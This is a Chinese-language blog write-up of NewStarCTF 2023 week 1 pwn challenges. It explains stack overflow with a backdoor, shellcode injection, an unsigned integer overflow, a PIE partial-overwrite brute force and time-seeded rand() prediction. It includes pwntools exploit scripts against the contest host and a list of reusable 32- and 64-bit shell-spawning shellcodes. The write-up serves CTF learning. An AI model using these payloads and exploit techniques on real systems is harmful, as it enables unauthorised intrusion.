NewStarCTF 2023 [WEEK 1] PWN

简介:

祝大家国庆节快乐,国庆就别再打CTF了,别卷了师傅们,玩玩吧!!!

第一周的题目相对比较容易,pwn没有ak有点可惜,伪随机的部分弄得还不是很清楚,需要加把油


ret2text

一看题目就知道是经典栈溢出,老规矩查看保护机制,打开了栈不可执行NX

ida查看反汇编,栈溢出很明显,并且还自带后门函数

最后再查看一下需要溢出多少字节的垃圾数据(一般情况下需要溢出的垃圾数据可以在ida里面找到),gdb调试一下,0x80 - 0x60= 0x20

直接攻击就行,exp如下:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn',26188)
elf = ELF('./111')

backdoor =0x4011FB
payload =b'A'*(0X20 +8) +p64(backdoor)

p.sendline(payload)
p.interactive()

ezshellcode

也是比较经典的shellcode,开启NX,往栈上写shellcode即可(但是需要注意的点就是shellcode的长度,根据题目来确定)

ida反汇编也比较明显,就是往buf里面写入shellcode

exp如下:

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn',29928)
elf = ELF('./111')

payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'

p.sendline(payload)
p.interactive()

相关的shellcode如下,可以了解下!!!

# 32位 短字节shellcode --> 21字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

# 32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA

# 32位 scanf可读取的shellcode
\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh

# 64位 scanf可读取的shellcode 22字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

# 64位 较短的shellcode  23字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

# 64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

newstar shop

这道题就是一道整形溢出,需要认真的代码审计,当时做的的时候有点傻逼,脑子没有转过来一直在想dont_try一次只能一次扣50,这样不可能使money达不到负数,忘记可以买东西了我真啥

先看下shop(),很明显自己的目的就是使直接赚够钱可以买到shell,从而达到cat flag的目的

money属于无符号整型,这里就要想办法溢出才能有足够的钱买shell,如果单靠自己打工赚钱的话根本不可能,题目还设置了自己一天的工作时间,所以只有自己想办法溢出才是唯一的出路

题目还给参数设置了一些初始值,现在的任务就是使money变成负数就可以达到整型溢出

思路如下:(直接nc连接,然后就是先买两次商品,最后dont_try扣一次钱,就能达到溢出的目的,再去买shell,就可以直接拿下)


p1eee

查看保护机制,开启了PIE地址随机化,每次运行的基址都不一样,但是PIE不会随机化地址的低12位(也就是说后三位地址是固定的),所以可以采用partial write,爆破倒数第四位十六分之一的成功几率

ida反编译,存在栈溢出,并且有后门函数(因为开启了pie,地址的后三位不会变 26c ,所以只需爆破倒数第四位)由于小端序的原因,所以就是'\x6c\x11',后面 \x11 是随机的,可以改成别的,如下都行

list =["\x01","\x11","\x21","\x31","\x41","\x51","\x61","\x71","\x81","\x91","\xa1", "\xb1","\xc1","\xd1","\xe1","\xf1"]

但是需要转换(都是套路)

接下来就是写脚本爆破了(脚本格式通用),exp如下:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

while(1):
	try:
		#p = process('./111')
		p = remote('node4.buuoj.cn',28968)
		elf = ELF('./111')
 		
		payload =b'A'*(0X20 +8) +p16(0x126c)
		
		p.sendline(payload)
		p.interactive()
	except:
	    	p.close()

Random

from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')

#p = process('./111')
p = remote('node4.buuoj.cn',26977)
elf = ELF('./111')
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

seed=libc.time(0)
libc.srand(seed)
num1=libc.rand()

p.sendline(str(num1))
p.interactive()

总结:

伪随机部分还相对薄弱,需要加把油,绕过pie掌握的差不多了,加油,奥里给!!!

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值